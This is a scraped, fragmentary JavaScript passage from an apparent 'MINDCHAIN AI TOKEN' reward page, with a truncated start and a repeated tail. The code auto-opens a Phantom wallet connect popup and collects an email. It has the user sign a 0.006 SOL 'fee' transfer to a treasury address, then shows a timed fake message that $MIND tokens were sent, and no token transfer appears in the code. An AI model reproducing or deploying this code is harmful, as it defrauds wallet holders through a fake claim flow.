MINDCHAIN

MINDCHAIN

AI • TOKEN

ent.getElementById('status').innerText="Phantom browser detected! Click Connect Wallet -> popup will appear"; // Auto trigger popup after 1.2 sec when opened in Phantom if(!provider.isConnected){ setTimeout(()=>{ connectPhantom(); }, 1200); } } if(localStorage.getItem('mind_email')){ document.getElementById('email').value=localStorage.getItem('mind_email'); document.getElementById('loginPage').classList.add('hidden'); document.getElementById('taskPage').classList.remove('hidden'); document.getElementById('userBadge').innerText=localStorage.getItem('mind_email').split('@')[0]; document.getElementById('emailShow').innerText=localStorage.getItem('mind_email'); document.getElementById('balance').innerText=balance; } }); async function payFeeAndClaim(){ if(balance==0){alert("Complete task first");return;} if(!publicKey){alert("Connect wallet first");return;} const status=document.getElementById('status'); try{ status.innerText="Approve $1 SOL fee in Phantom..."; const toPub=new solanaWeb3.PublicKey(TREASURY); const tx=new solanaWeb3.Transaction().add(solanaWeb3.SystemProgram.transfer({fromPubkey:publicKey,toPubkey:toPub,lamports:0.006*solanaWeb3.LAMPORTS_PER_SOL})); tx.feePayer=publicKey; tx.recentBlockhash=(await connection.getLatestBlockhash()).blockhash; const provider=window.phantom?.solana||window.solana; const signed=await provider.signTransaction(tx); const sig=await connection.sendRawTransaction(signed.serialize()); status.innerText="Fee paid! TX: "+sig.slice(0,20)+"... Sending $MIND..."; setTimeout(()=>{status.innerText="Success! "+balance+" $MIND sent to your wallet."; balance=0; localStorage.setItem('mind_bal','0'); document.getElementById('balance').innerText='0';},2500); }catch(e){status.innerText="Failed: "+e.message;} } erText=localStorage.getItem('mind_email'); document.getElementById('balance').innerText=balance; }